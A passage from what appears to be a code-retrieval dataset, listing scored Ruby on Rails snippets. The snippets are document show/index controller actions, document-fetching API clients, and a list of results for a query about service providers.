"text": "def show\n @documentoclasificacion = Documentoclasificacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documentoclasificacion }\n end\n end",
"title": ""
},
{
"docid": "2a43920457945434bdc7f387e1f7cb76",
"score": "0.6577539",
"text": "def show\n @documento = @externo.documentos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documento }\n end\n end",
"title": ""
},
{
"docid": "9cbf79aa2dcba03d19d3bdcb07ba7f0a",
"score": "0.6560981",
"text": "def show\n @published_document = PublishedDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @published_document }\n end\n end",
"title": ""
},
{
"docid": "67410aef80410e56b5268806ef994559",
"score": "0.6530221",
"text": "def documents\n return bad_request unless params[:id] and request.format.json? || request.format.js? || request.format.text?\n return not_found unless current_document\n opts = {:access => true, :sections => true, :annotations => true, :data => true}\n if current_account\n opts[:account] = current_account\n opts[:allowed_to_edit] = current_account.allowed_to_edit?(current_document)\n opts[:allowed_to_review] = current_account.reviews?(current_document)\n end\n @response = {'document' => current_document.canonical(opts)}\n respond_to do |format|\n format.text do\n direct = [PRIVATE, ORGANIZATION, EXCLUSIVE].include? current_document.access\n redirect_to(current_document.full_text_url(direct: direct))\n end\n format.json { render_cross_origin_json }\n format.js { render_cross_origin_json }\n end\n end",
"title": ""
},
{
"docid": "ecd88104580763546f085bf0760f3cf3",
"score": "0.6523777",
"text": "def show\n @document = Document.find(:first, :conditions => [\"id = ?\", params[:id]])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "50b0f91c09ad2bce6afb216762164cf2",
"score": "0.6518492",
"text": "def show\r\n @document = Document.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @document }\r\n end\r\n end",
"title": ""
},
{
"docid": "4cb4f5f31e87e4040d6cb3b28e214255",
"score": "0.65136856",
"text": "def document(document_id)\n Hancock::Request.send_get_request(\"/envelopes/#{envelope_id}/documents/#{document_id}\")\n end",
"title": ""
},
{
"docid": "d94a0a3cf4db6c4a04101f7b96f04b46",
"score": "0.65056854",
"text": "def show\n @document_status = DocumentStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document_status }\n end\n end",
"title": ""
},
{
"docid": "2f9ce55bb3bc125d79bf0924a1a250c7",
"score": "0.6505433",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # _resource.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "8fc9e92cc984721d63934a9ca074446f",
"score": "0.6497977",
"text": "def show\n @document = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "dbf6547800ad5f5b5a4233ea10cd4da9",
"score": "0.6497783",
"text": "def show\n @document = Document.find(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "96323555bb210d4f84035bf471250ab6",
"score": "0.6492053",
"text": "def get_document( doc_id:, version:CURRENT, filename: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :get, path_for(doc_id, filename, version), {}, :binary\n end",
"title": ""
},
{
"docid": "9f18feabf796e4e1f7bdcd740901b14c",
"score": "0.6491057",
"text": "def show\n @knowledge = Knowledge.find(params[:id])\n @documents = @knowledge.documents\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @knowledge }\n end\n end",
"title": ""
},
{
"docid": "5ab5cdf24f2601419a6c07b8764a89b9",
"score": "0.64880407",
"text": "def show\n \n @document = Document.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n \n end",
"title": ""
},
{
"docid": "d4e54746f67dbc5b4f0b12609fe1dc8f",
"score": "0.64413446",
"text": "def documents\n @documents ||=\n Array.wrap(options[:documents]).compact.presence ||\n (response['docs'] || []).map do |doc|\n document_factory.build(doc, self, options)\n end\n end",
"title": ""
},
{
"docid": "43f324806f60466d137b733e0ad8d992",
"score": "0.6421134",
"text": "def index\n @documents = Document.all\n @document = Document.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n end\n end",
"title": ""
},
{
"docid": "5be1ada68a63192111f48ab597cce423",
"score": "0.64007264",
"text": "def show\n @documento = Documento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @documento }\n end\n end",
"title": ""
},
{
"docid": "a1002f97535c59b64e43934ea8b12c03",
"score": "0.63907266",
"text": "def index\n @document_statuses = DocumentStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @document_statuses }\n end\n end",
"title": ""
},
{
"docid": "7b2eb19d55d3d37d4277310ff104f56f",
"score": "0.63860106",
"text": "def show\n\t@document = Document.find(params[:id])\n\trender json: {status: 'SUCCESS', message:'Loaded document', data:@document}, status: :ok\n end",
"title": ""
},
{
"docid": "fa465f4c1ec06b924c2997e536c91193",
"score": "0.6382269",
"text": "def show\n @doucment = Document.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document }\n end\n end",
"title": ""
},
{
"docid": "ea3535cd7ae4e7d711e8988b8d995f2c",
"score": "0.63657755",
"text": "def show\n @library_doc = LibraryDoc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @library_doc }\n end\n end",
"title": ""
},
{
"docid": "67e3e416cfdd712b1cbcbf74aafb4bab",
"score": "0.63501126",
"text": "def get_document_info\n\n begin\n\n str_uri = $product_uri + '/words/' + @filename\n signed_str_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n\n response_stream = RestClient.get(signed_str_uri, {:accept => 'application/json'})\n\n stream_hash = JSON.parse(response_stream)\n stream_hash['Code'] == 200 ? stream_hash['Document'] : false\n\n rescue Exception => e\n print e\n end\n\n end",
"title": ""
},
{
"docid": "f743d19c83b555b970c1aa61a6f4b62a",
"score": "0.63494956",
"text": "def get_document_info( doc_id: )\n params = {}\n params[:backtrace] = @backtrace if @backtrace\n send_request :get, url_for_base(doc_id), params, :json\n end",
"title": ""
},
{
"docid": "9402f6640a6d2f608ead66b011820eb7",
"score": "0.6337336",
"text": "def index\n \n @docfiles = Docfile.all\n end",
"title": ""
},
{
"docid": "8b1783e307539a116d1de9cddcc329ee",
"score": "0.63365996",
"text": "def rest_get(uri)\n \n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n return doc\n \n end\n \nend",
"title": ""
},
{
"docid": "f1814645786615bdd7a240ba8826eb65",
"score": "0.63241845",
"text": "def browse(options={})\n response = API.instance.send_request('docs.browse', options.merge(:category_id => self.scribd_id))\n documents = []\n response.elements['/rsp/result_set'].elements.each do |doc|\n documents << Document.new(:xml => doc)\n end\n return documents\n end",
"title": ""
},
{
"docid": "eb67a385f32ed6bf54bb570f6c59b47d",
"score": "0.632309",
"text": "def retrieve \n if !check_auth()\n render text: { \"message\" => \"401 Unauthorized\" }.to_json(), status: :unauthorized\n else\n uri = params[:uri]\n type = params[:type]\n doc = Document.find_by_uri(uri)\n if doc.present?\n case type\n when 'gale'\n render :text => doc.get_corrected_gale_xml()\n when 'text'\n render :text => doc.get_corrected_text()\n when 'tei-a'\n render :text => doc.get_corrected_tei_a(false)\n when 'tei-a-words'\n render :text => doc.get_corrected_tei_a(true)\n when 'original-gale'\n render :text => doc.get_original_gale_xml()\n when 'original-text'\n render :text => doc.get_original_gale_text()\n end\n else\n render text: { \"message\" => \"Document #{uri} not found\" }.to_json(), status: :not_found\n end\n end\n end",
"title": ""
},
{
"docid": "0424c6efb087981818ed3dbdbae6b3e5",
"score": "0.6322003",
"text": "def info\n @document = Document.find(params[:id])\n respond_to do |format|\n format.json { render :json => @document, serializer: Api::Mobile::V2::DynamicDocumentSerializer, root: 'document' }\n end\n end",
"title": ""
},
{
"docid": "9b0ed8e944639cb35bd2ee8ee96ebdc1",
"score": "0.6309301",
"text": "def show\n @document = Document.find(params[:id])\n end",
"title": ""
},
{
"docid": "05afc169e3992bb5d16c9f6b0dd3be97",
"score": "0.6306286",
"text": "def show\n respond_with( @document = Document.find(params[:id]) )\n end",
"title": ""
},
{
"docid": "041b8bf276d3264fea06784a175ce579",
"score": "0.6305019",
"text": "def action_documents\n @bookmarks = token_or_current_or_guest_user.bookmarks\n bookmark_ids = @bookmarks.collect { |b| b.document_id.to_s }\n query_params = {\n q: bookmarks_query(bookmark_ids),\n defType: 'lucene',\n rows: bookmark_ids.count\n }\n solr_response = search_service.repository.search(query_params)\n [solr_response, solr_response.documents]\n end",
"title": ""
},
{
"docid": "a73ff37a29f4a4a4923eb71ebfff38d7",
"score": "0.6304859",
"text": "def request_doc\n \n end",
"title": ""
},
{
"docid": "526f2953efd46361dd752c5a06ab41f7",
"score": "0.63037175",
"text": "def show\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @doc }\n end\n end",
"title": ""
},
{
"docid": "a38118b774b7cac72e1e8bf98c006af4",
"score": "0.6301978",
"text": "def show\n @tdoc = Tdoc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tdoc }\n end\n end",
"title": ""
},
{
"docid": "3a168cf899318722b9e3c5894ec32c25",
"score": "0.62978494",
"text": "def documents\n response = API.instance.send_request('docs.getList', { :session_key => @attributes[:session_key] })\n documents = Array.new\n response.elements['/rsp/resultset'].elements.each do |doc|\n documents << Document.new(:xml => doc, :owner => self)\n end\n return documents\n end",
"title": ""
},
{
"docid": "239cd1941f4be02f3d23ec2247bc8e2e",
"score": "0.6294153",
"text": "def get_document_info\n \n begin\n \n if @filename == \"\"\n raise \"Base file not specified.\"\n end\n \n str_uri = $productURI + \"/words/\" + @filename\n signed_str_uri = Common::Utils.sign(str_uri)\n \n response_stream = RestClient.get(signed_str_uri,{:accept=>\"application/json\"})\n \n stream_hash = JSON.parse(response_stream)\n \n if(stream_hash[\"Code\"] == 200)\n return stream_hash[\"Document\"]\n else\n return false\n end\n \n rescue Exception=>e\n print e\n end\n \n end",
"title": ""
},
{
"docid": "e3f3fd0baad23ae6b264edfbf4b6889b",
"score": "0.6282991",
"text": "def index\n @documents = Document.all.delete_if { |document| cannot? :read, document }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @documents }\n format.xml { render xml: @documents }\n end\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "e99a73a5259534dbf72087e01a6dede8",
"score": "0.628232",
"text": "def index\n @documents = Document.all\n end",
"title": ""
},
{
"docid": "697d16ff0760c2d45b6f21ee145e929a",
"score": "0.6264155",
"text": "def show\n render_result('Current API has no definition for just calling /docs. Call /docs/changes or /docs/deletes')\n end",
"title": ""
},
{
"docid": "aff3b053e1d540aaa5b42c447d26ebe1",
"score": "0.6243439",
"text": "def docs api\n\t\tget_html \"#{@options[:docs]}/#{@apis[api][:url]}.htm\"\n\tend",
"title": ""
},
{
"docid": "9bb50d201a15015a4681984b9de8f550",
"score": "0.623838",
"text": "def get(id)\n Gini::Api::Document.new(self, \"/documents/#{id}\")\n end",
"title": ""
},
{
"docid": "a277b6e37fdca1fc4daced8d6a5fc9a6",
"score": "0.62302417",
"text": "def documents\n Easybill::Api::Documents\n end",
"title": ""
},
{
"docid": "1b352f4b88008a326048d485041304e4",
"score": "0.622193",
"text": "def get_doc \n @doc\n end",
"title": ""
},
{
"docid": "de0704aa1f00ccc77db03d4a63ad99f9",
"score": "0.6214303",
"text": "def new\n @document = Document.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "45c0f606eb89be822daffba8d786270d",
"score": "0.6165774",
"text": "def show\n \n # @response, @document = get_solr_response_for_doc_id(params[:id], )\n @response, @document = get_solr_doc_with_gated_discovery(params[:id])\n folder_siblings(@document)\n\n \n respond_to do |format|\n format.html {setup_next_and_previous_documents}\n\n # Add all dynamically added (such as by document extensions)\n # export formats.\n @document.export_formats.each_key do | format_name |\n # It's important that the argument to send be a symbol;\n # if it's a string, it makes Rails unhappy for unclear reasons. \n format.send(format_name.to_sym) { render :text => @document.export_as(format_name), :layout => false }\n end\n \n end\n rescue Blacklight::Exceptions::InvalidSolrID\n flash[:notice]= \"You do not have sufficient access privileges to read this document, which has been marked private.\"\n redirect_to(\"/\") and return false\n end",
"title": ""
},
{
"docid": "e24d9f749ef7850e49235737e0dccee5",
"score": "0.6163582",
"text": "def show\n @oa_sent_document = Oa::SentDocument.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oa_sent_document }\n end\n end",
"title": ""
},
{
"docid": "74bb5ecc0790b7c0bf4a734c788a38e5",
"score": "0.6160064",
"text": "def show\n @documents = current_user.documents.find(params[:id])\n end",
"title": ""
},
{
"docid": "d6850e3dd63f1fe85d41695524641f0d",
"score": "0.61475074",
"text": "def getDocuments(projectId, queryMap)\t\t\r\n\t\t\t\turl = getBaseURL+\"projects/\"+String(projectId)+\"/documents/\"\t\t\r\n\t\t\t\tresponse = ZohoHTTPClient.get(url, getQueryMap(queryMap))\t\t\r\n\t\t\t\treturn $documentParser.getDocuments(response)\r\n\t\t\tend",
"title": ""
},
{
"docid": "3a21ef5895f81309fd7e5c50f68d07d8",
"score": "0.61448157",
"text": "def show\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calidadtiposdocumento }\n end\n end",
"title": ""
},
{
"docid": "0a7a0cb0586f7f566fd26b9e00861cb1",
"score": "0.61385906",
"text": "def list\n response = @user.get(@base_uri)\n response[\"linked-documents\"].map {|ld| LinkedDocument.new(@user, ld) }\n end",
"title": ""
},
{
"docid": "aea0f3e3c29b8edaebbf037bc8db0480",
"score": "0.61290246",
"text": "def docs\n @docs ||= raw_response['response']['docs']\n end",
"title": ""
},
{
"docid": "70d64c206d84c485d14043f5632d41cc",
"score": "0.61243093",
"text": "def index\n \t@documents = Document.paginate(:page => params[:page], per_page: 2)\n \trender json: {status: 'SUCCESS', message:'Loaded documents', data:@documents}, status: :ok\n end",
"title": ""
},
{
"docid": "e0c1c31cc1e4df1a8b2efdbb71e7e706",
"score": "0.6115118",
"text": "def new\n @document = Document.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "716c794adeb485666e3fdd5cb51bd418",
"score": "0.61005604",
"text": "def show\n @documentocategoria = Documentocategoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @documentocategoria }\n end\n end",
"title": ""
},
{
"docid": "90a45d91571bb379dbe4e2f05a28fce3",
"score": "0.6092105",
"text": "def create_doc\n\t\theaders = {:content_type => 'application/xml'}\n\t\turi = CGI.escape(\"/\" + rand(2).to_s() + \"/\" + rand(10).to_s() + \"/\" + rand(1000000).to_s() + \".xml\")\n\t\tresponse = @resource[\"/documents/\" + uri].put('<stuff xmlns=\"stuff\">' + uri + '</stuff>', headers)\n\t\treturn uri\n\tend",
"title": ""
},
{
"docid": "be2977efefa5f26c95b1f4cd74bf34b7",
"score": "0.60863453",
"text": "def show\n @document_page = DocumentPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_page }\n end\n end",
"title": ""
},
{
"docid": "71c1011f5a73c04e03557362922b94c0",
"score": "0.60786444",
"text": "def show\n @collection = @document.collection\n @document.adjust_offset(true)\n unless @collection.available?(@current_user)\n return redirect_to collections_path, error: \"Cannot access the document\"\n end\n respond_to do |format|\n format.html\n format.json\n format.xml {render xml: @document.xml}\n end\n end",
"title": ""
},
{
"docid": "78f6e064dcf55856e36cbff3c5450c55",
"score": "0.6078605",
"text": "def document\n json = Net::HTTP.get_response URI.parse(query_string(@query))\n json.body\n end",
"title": ""
},
{
"docid": "ce35c462dfdcff1898d24ef3d11ec720",
"score": "0.6075919",
"text": "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end",
"title": ""
},
{
"docid": "c1a927ca3fa1c254fda277c93404101e",
"score": "0.60688674",
"text": "def index\n @documents = current_user.documents.all\n end",
"title": ""
},
{
"docid": "26c19c9a9cddf612d6ff440ed8eb0e98",
"score": "0.6063004",
"text": "def index\n @documentos = Documento.all\n end",
"title": ""
},
{
"docid": "78af9f42486d3f968bb0df9731e8954a",
"score": "0.6058633",
"text": "def show_documents\n @document = Document.where(:extension_id => params[:id])\n @extension = Extension.find(params[:id])\n end",
"title": ""
},
{
"docid": "a9713f1f65f163feb1748e4a3873f5a8",
"score": "0.6053215",
"text": "def documents\n reply ? reply.documents : []\n end",
"title": ""
}
] |
d8e0f93902e5c42589f4f3b7699d10ef | specific to each provider | [
{
"docid": "923253a25abff15085fd56ae52a08f04",
"score": "0.0",
"text": "def lands_hash\n []\n end",
"title": ""
}
] | [
{
"docid": "e21095589b2ef7011ea0624bbe61b7fb",
"score": "0.7760506",
"text": "def provider\n\tend",
"title": ""
},
{
"docid": "8a77c1770835602bded28e5b727a44de",
"score": "0.7637826",
"text": "def provider; end",
"title": ""
},
{
"docid": "28c9855c3a06f20fb8e9cd32ecb545d3",
"score": "0.70594007",
"text": "def providers\n @providers ||= {}\n end",
"title": ""
},
{
"docid": "7e1c55776a487ecc1740ea66b071ddc5",
"score": "0.70159596",
"text": "def provider=(_arg0); end",
"title": ""
},
{
"docid": "9a1372bccef34f19053b80ead48729ef",
"score": "0.6915537",
"text": "def provider_class\n self.class\n end",
"title": ""
},
{
"docid": "9a1372bccef34f19053b80ead48729ef",
"score": "0.6915537",
"text": "def provider_class\n self.class\n end",
"title": ""
},
{
"docid": "bfa50658d86a2e8472a5d707107156c4",
"score": "0.68362904",
"text": "def provider\n @provider\n end",
"title": ""
},
{
"docid": "a2f5e25819db1f5f151a10797c733832",
"score": "0.68226326",
"text": "def user_provider; end",
"title": ""
},
{
"docid": "1cc6692f55adfe241ef5850308765bbe",
"score": "0.68068004",
"text": "def set_provider\n PROVIDERS.each do |name|\n regex_string = PROVIDERS.first.eql?(name) ? name[0..-3] : name\n self.provider = name if link =~ /#{regex_string}/\n end\n end",
"title": ""
},
{
"docid": "ff97d5ade23be5ef302d1f194caecea8",
"score": "0.6707153",
"text": "def my_provider\n self.class.my_provider\n end",
"title": ""
},
{
"docid": "59913df0d207b50cec8662c5f154fea0",
"score": "0.6699242",
"text": "def provider\n get(PROVIDER)\n end",
"title": ""
},
{
"docid": "b41dba4c1ef0e124cc3014f3e63b3ff5",
"score": "0.6694186",
"text": "def provider\n providers.first\n end",
"title": ""
},
{
"docid": "5cbfebeac934ce6ba0ac3819483f5f9e",
"score": "0.66145235",
"text": "def is_provider?\n self.provider?\n end",
"title": ""
},
{
"docid": "b2925dddfb464ed96eac9a8e25dec7ad",
"score": "0.6565041",
"text": "def provider_by_name(provider_name)\n key = provider_name.to_s.downcase\n provider_list.detect{|p| key == p.name || provider_name == p.human_name}\n end",
"title": ""
},
{
"docid": "7ad6f08002e4800137064fa36b2d6346",
"score": "0.65499043",
"text": "def user_provider=(_arg0); end",
"title": ""
},
{
"docid": "dff4c0639366d6ed5a1f8c67c4bcffb6",
"score": "0.654627",
"text": "def set_provider\n @provider = Provider.find(params[:id]) if params[:id].present?\n @providers = Goodstype.find(params[:goodstype_id]).providers if params[:goodstype_id].present?\n end",
"title": ""
},
{
"docid": "91a69ac5afec4e93eaea6dd59eb57346",
"score": "0.65277034",
"text": "def providers\n @providers.keys\n end",
"title": ""
},
{
"docid": "dbbdb16f63771cbacdc411f846658f61",
"score": "0.64807147",
"text": "def call_provider(_value); end",
"title": ""
},
{
"docid": "3bce0fb07986e7567ae6a1634cfe7ad2",
"score": "0.6474683",
"text": "def providers\n @providers_manager\n end",
"title": ""
},
{
"docid": "ac0129fb207a6981055f6a9f5c48f9bf",
"score": "0.6473329",
"text": "def get_service_provider(provider)\n case provider.class.to_s\n when 'Fixnum' then provider_by_id(provider)\n when 'String' then (provider.to_i > 0 ? provider_by_id(provider) : provider_by_name(provider))\n when 'Symbol' then provider_by_name(provider)\n when 'NilClass' then nil\n else\n provider\n end\n end",
"title": ""
},
{
"docid": "43ce9cd7e43483b0a23ee06593d53725",
"score": "0.64624035",
"text": "def set_selected_provider\n autodetect_selected_provider if params[:provider] == 'auto' && params[:ord].present?\n\n @selected_provider = case params[:provider]\n when 'estcard'\n if EcwidPizzeria::Application.config.estcard.enabled\n prepare_estcard\n params[:provider]\n end\n when 'paypal'\n if EcwidPizzeria::Application.config.paypal.enabled\n prepare_paypal\n params[:provider]\n end\n when %r(\\Amakecommerce_(.*)\\z)\n payment_method = $1\n @payment_method = payment_method\n\n @payment_method = if EcwidPizzeria::Application.config.make_commerce.enabled && makecommerce_service.enabled_payment_methods.include?(payment_method)\n params[:provider] = 'makecommerce'\n payment_method\n else\n nil\n end\n params[:provider]\n when *EcwidPizzeria::Application.config.banks.enabled\n prepare_ipizza\n params[:provider]\n end\n end",
"title": ""
},
{
"docid": "fc7a4f0b49d474e58cf7ac61e46d5193",
"score": "0.64336973",
"text": "def provider\n use_provider('null') unless defined? @provider\n @provider\n end",
"title": ""
},
{
"docid": "6faf3213584352c5358a117b4bb1b8a4",
"score": "0.64284265",
"text": "def _provider( name, options )\n\n\t\t\t@_provider ||= { }\n\t\t\t@_provider[ name ] ||= (\n\n\t\t\t\tObject::const_get( name ).new( options )\n\t\t\t)\n\t\tend",
"title": ""
},
{
"docid": "227e423bd3482d5e00ef5ab1cfa02ef5",
"score": "0.6386248",
"text": "def provider_map\n @provider_map ||= provider_list.inject({}) do |map, klass|\n map[klass.provider_id] = klass unless klass.nil?\n map\n end\n end",
"title": ""
},
{
"docid": "3e932f02a4f17d92a2996900cf895991",
"score": "0.636213",
"text": "def providers\n @providers.dup\n end",
"title": ""
},
{
"docid": "5094f9eebd23783100d27e5fb219ba9b",
"score": "0.6349069",
"text": "def set_provider\n @provider = Provider.unscoped.where(\"allocator.role_name IN ('ROLE_FOR_PROFIT_PROVIDER', 'ROLE_CONTRACTUAL_PROVIDER', 'ROLE_CONSORTIUM_LEAD' , 'ROLE_ALLOCATOR', 'ROLE_ADMIN', 'ROLE_MEMBER')\").where(deleted_at: nil).where(symbol: params[:id]).first\n fail ActiveRecord::RecordNotFound unless @provider.present?\n end",
"title": ""
},
{
"docid": "e37edd9cbe7c6a77741dbdcf2f914be3",
"score": "0.63397896",
"text": "def customize_provider(name,options)\n ''\n end",
"title": ""
},
{
"docid": "af451f40c2e50dd0643fbdcf2492003f",
"score": "0.6335156",
"text": "def provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n prov_name = provider_name\n rv = browser.providers[prov_name.to_sym] if prov_name.present?\n rv ||= browser.first_provider\n # browser.providers[provider_name.to_sym] || browser.first_provider\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"title": ""
},
{
"docid": "024747b6fb86f1bf64233ed072de9bda",
"score": "0.6316047",
"text": "def provider_name\n object.provider_id.titleize\n end",
"title": ""
},
{
"docid": "5841dd2666801ccc61d8e01fc609cc09",
"score": "0.6302707",
"text": "def set_provider\n @provider = Provider.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "d1b338fcc10eb3bdc48eee61208257b5",
"score": "0.63011736",
"text": "def provider_name\n return @provider_name\n end",
"title": ""
},
{
"docid": "d7f3bee33b1db0934459bb2d8a286a5c",
"score": "0.6299291",
"text": "def suitable_providers\n return @suitable_providers if @suitable_providers\n @suitable_providers = []\n [\n @resource.class.defaultprovider,\n @resource.class.suitableprovider,\n ].flatten.uniq.each do |provider_class|\n if service_provider_enabled? provider_class\n @suitable_providers << provider_class.name\n end\n end\n @suitable_providers\n end",
"title": ""
},
{
"docid": "98c68193f843b453fb7b421bc75592d5",
"score": "0.6287487",
"text": "def name\n @provider_name\n end",
"title": ""
},
{
"docid": "d631f0110e58304c03cada3c3d0dddea",
"score": "0.6285406",
"text": "def provider\n return @provider if defined? @provider\n Config.providers.each do |provider, config|\n if config[:exchanger_match] && matches?(config[:exchanger_match])\n return @provider = provider\n end\n end\n @provider = :default\n end",
"title": ""
},
{
"docid": "83bd5a04fc146e509a1025dfd75a9899",
"score": "0.62525535",
"text": "def method_missing(name, *args, &block)\n if self.provider && provider.respond_to?(name)\n self.provider.send(name, *args, &block)\n else\n super(name, *args, &block)\n end\n end",
"title": ""
},
{
"docid": "9e2af4c8dc17ff7485ac6010836d4f72",
"score": "0.62087494",
"text": "def provider_class\n @provider_class ||= \"::Providers::#{self.provider.camelize}\".constantize.new(self)\n end",
"title": ""
},
{
"docid": "7197992cb7638ea23778d30510766479",
"score": "0.62004477",
"text": "def use_provider( name )\n name = name.to_s\n raise Polylog::UnknownProvider, \"unknown provider: #{name.inspect}\" unless @providers.key? name\n\n @provider = @providers[name]\n end",
"title": ""
},
{
"docid": "9d3b806d41a48375e56c4ce4d9033f63",
"score": "0.6161831",
"text": "def provider\n system.provider\n end",
"title": ""
},
{
"docid": "fd9d53fef006c2cefe78f4ed8338306d",
"score": "0.6151922",
"text": "def provider_list\n @provider_list ||= subclasses.inject([]) do |list, klass_name|\n klass = klass_name.constantize\n begin\n list << klass.instance\n rescue LoadError => exc\n logger.error \"#{klass} load error: #{exc}\"\n end\n list\n end\n end",
"title": ""
},
{
"docid": "ee08b264078ea2b7e7ac6081f682c480",
"score": "0.6145505",
"text": "def set_provider_provider_type\n @provider_provider_type = Provider::ProviderType.find(params[:id])\n end",
"title": ""
},
{
"docid": "4db0941c41c6f28cbe1b33252a766d11",
"score": "0.6141601",
"text": "def provider=(provider)\n @provider = provider\n end",
"title": ""
},
{
"docid": "fae24b26239e0e7a0898ac207dcd32d8",
"score": "0.612588",
"text": "def provider_name\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = params[:provider] || provider_name_from_state || browser.providers.each_key.to_a.first\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider_name rv=#{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"title": ""
},
{
"docid": "bb9f94f76ce5275a1844778d5c30c679",
"score": "0.61121756",
"text": "def test_defaultproviders\n basic = @type.provide(:basic) do\n defaultfor :operatingsystem => :somethingelse,\n :operatingsystemrelease => :yayness\n end\n\n assert_equal(basic, @type.defaultprovider)\n @type.defaultprovider = nil\n\n greater = @type.provide(:greater) do\n defaultfor :operatingsystem => Facter.value(\"operatingsystem\")\n end\n\n assert_equal(greater, @type.defaultprovider)\n end",
"title": ""
},
{
"docid": "31a7d5bd95748e4a12c46fb4e8b8d1a7",
"score": "0.6100012",
